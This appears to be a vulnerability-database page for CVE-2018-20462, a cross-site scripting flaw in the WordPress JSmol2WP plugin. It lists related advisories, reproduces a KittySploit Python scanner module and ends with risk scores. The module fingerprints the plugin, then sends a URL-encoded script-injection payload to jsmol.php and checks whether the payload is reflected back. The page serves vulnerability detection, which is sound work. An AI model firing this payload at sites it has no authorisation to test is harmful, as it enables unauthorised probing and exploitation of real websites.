WordPress JSmol2WP <=1.07 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| JSmol2WP Cross-Site Scripting Vulnerability | 26 Dec 201800:00 | – | cnvd | |
| CVE-2018-20462 | 25 Dec 201821:00 | – | cve | |
| CVE-2018-20462 | 25 Dec 201821:00 | – | cvelist | |
| EUVD-2018-13017 | 7 Oct 202500:30 | – | euvd | |
| WordPress JSmol2WP <=1.07 - Cross-Site Scripting | 16 Oct 202602:05 | – | nuclei | |
| WordPress JSmol2WP <=1.07 - Local File Inclusion | 16 Oct 202602:05 | – | nuclei | |
| CVE-2018-20462 | 25 Dec 201821:29 | – | nvd | |
| CVE-2018-20462 | 25 Dec 201821:29 | – | osv_cve | |
| WordPress JSmol2WP plugin <= 1.07 - Unauthenticated Cross-Site Scripting (XSS) vulnerability | 8 Jan 201900:00 | – | patchstack | |
| Cross site scripting | 25 Dec 201821:29 | – | prion |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress JSmol2WP version 1."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress JSmol2WP <=1.07 - Cross-Site Scripting Detection',
'description': 'WordPress JSmol2WP version 1.07 and earlier is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve2018', 'cve', 'wordpress', 'xss', 'wp-plugin', 'jsmol2wp_project', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt',
'https://wpvulndb.com/vulnerabilities/9196',
'https://nvd.nist.gov/vuln/detail/CVE-2018-20462',
'https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS',
'https://github.com/ARPSyndicate/kenzer-templates',
],
'cve': 'CVE-2018-20462',
}
def run(self):
path = '/wp-content/plugins/jsmol2wp/readme.txt'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('JSmol2WP', 'Tags:',)
if not (all(m in body for m in body_all)):
return False
path = '/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('</script><script>alert(document.domain)</script>',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(severity='medium', reason='WordPress JSmol2WP <=1.07 - Cross-Site Scripting detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
6.6Medium risk
Vulners AI Score6.6
CVSS 24.3
CVSS 36.1
EPSS0.0397